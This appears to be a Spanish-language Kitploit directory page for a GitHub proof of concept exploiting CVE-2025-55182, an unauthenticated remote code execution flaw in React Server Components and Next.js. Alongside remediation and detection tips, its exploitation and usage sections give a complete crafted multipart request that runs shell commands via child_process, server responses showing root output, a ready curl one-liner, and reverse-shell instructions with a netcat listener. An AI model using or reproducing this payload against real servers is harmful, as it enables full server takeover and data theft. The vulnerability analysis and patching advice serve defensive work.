Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182 — Prueba de concepto del exploit para CVE-2025-55182: RCE no autenticado en React Server Components mediante deserialización insegura, lo que permite la ejecución arbitraria de comandos y shells inversos en endpoints RSC/Next.js vulnerables. | Kitploit
Herramientas/GitHubGitHub/0xblackash/cve-2025-55182
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHub0xblackash/cve-2025-55182

CVE-2025-55182

Prueba de concepto del exploit para CVE-2025-55182: RCE no autenticado en React Server Components mediante deserialización insegura, lo que permite la ejecución arbitraria de comandos y shells inversos en endpoints RSC/Next.js vulnerables.

Ver Repositorio
1hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🚨 CVE-2025-55182 — React2Shell

hq720

Severity CVSS Type Status

CVE-2025-55182 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) que afecta a los Componentes del Servidor de React (RSC).


📌 Resumen

Esta vulnerabilidad permite a atacantes no autenticados ejecutar código arbitrario en servidores vulnerables.

El problema se origina en una deserialización insegura en los endpoints de funciones de servidor de los Componentes del Servidor de React. Una validación inadecuada permite que solicitudes especialmente diseñadas ejecuten cargas maliciosas.


🧨 Impacto

  • 🌍 Explotable en red
  • 🔓 No requiere autenticación
  • ⚡ Baja complejidad de ataque
  • 💥 Posible compromiso total del servidor
  • 📈 Puntuación CVSS: 10.0 (Severidad Máxima)

Debido a que los frameworks basados en React están ampliamente implementados, la superficie de ataque es extremadamente grande.


📦 Paquetes Afectados

Las versiones vulnerables incluyen:

react-server-dom-webpack   19.0.0 – 19.2.0
react-server-dom-parcel    19.0.0 – 19.2.0
react-server-dom-turbopack 19.0.0 – 19.2.0

Los frameworks construidos sobre estos paquetes (por ejemplo, aplicaciones Next.js que usan versiones vulnerables) también pueden verse afectados.


🔎 Causa Raíz Técnica

La falla es causada por:

  • Manejo inseguro de la entrada serializada
  • Deserialización del lado del servidor que ocurre antes de una validación estricta
  • Falta de protección adecuada del endpoint

Esto permite a los atacantes crear cargas maliciosas que se ejecutan en el servidor.


🛠 Remediación

✅ Acciones Inmediatas

  • Actualizar a versiones parcheadas de React (19.2.1 o posteriores)
  • Reconstruir y redesplegar aplicaciones
  • Auditar los endpoints RSC expuestos
  • Monitorear los registros en busca de solicitudes POST sospechosas

🧪 Consejos de Detección

Busque:

  • Solicitudes POST inesperadas a endpoints RSC
  • Cargas maliciosas serializadas sospechosas
  • Ejecución inusual de comandos en el servidor

📚 Resumen

CategoríaValor
VulnerabilidadEjecución Remota de Código
Autenticación Requerida❌ No
Vector de Ataque🌐 Red
Severidad🔴 Crítica
Explotado en la Naturaleza⚠️ Sí

Cómo explotar

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Devolverá:

HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195

0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

CVE-2025-55182 2 CVE-2025-55182 3 CVE-2025-55182 4

Uso

┌──(kali㉿kali)-[~/Downloads]
└─$ curl -i -X POST http://10.48.133.212:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-H "Next-Action: x" \
-H "Next-Router-State-Tree: b5dce965" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\\"$B1337\\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'<COMMAND>\').toString().trim();;;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--'
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Sat, 28 Feb 2026 10:19:04 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

0:{"a":"$@1","f":"","b":"3WpzTMYEK9QGOeqIBQxrR"}
1:E{"digest":"287088506"}
CVE-2025-55182 5 CVE-2025-55182 6
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "whoami"
  • Salida: ubuntu (o similar).
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "id"

Para reverse shell:

  • Escucha: nc -lvnp 4444
  • Ejecutar: sudo python3 react2shell_poc.py http://10.48.133.212:3000 --rev-shell --rev-ip YOUR_IP --rev-port 4444
  • Debería conectar de vuelta; la respuesta mostrará 'shell_started' en el digest.

⚠️ Nota Final

Si su aplicación usa Componentes del Servidor de React, aplique el parche inmediatamente. Los retrasos aumentan significativamente el riesgo de exposición.


Descargar herramienta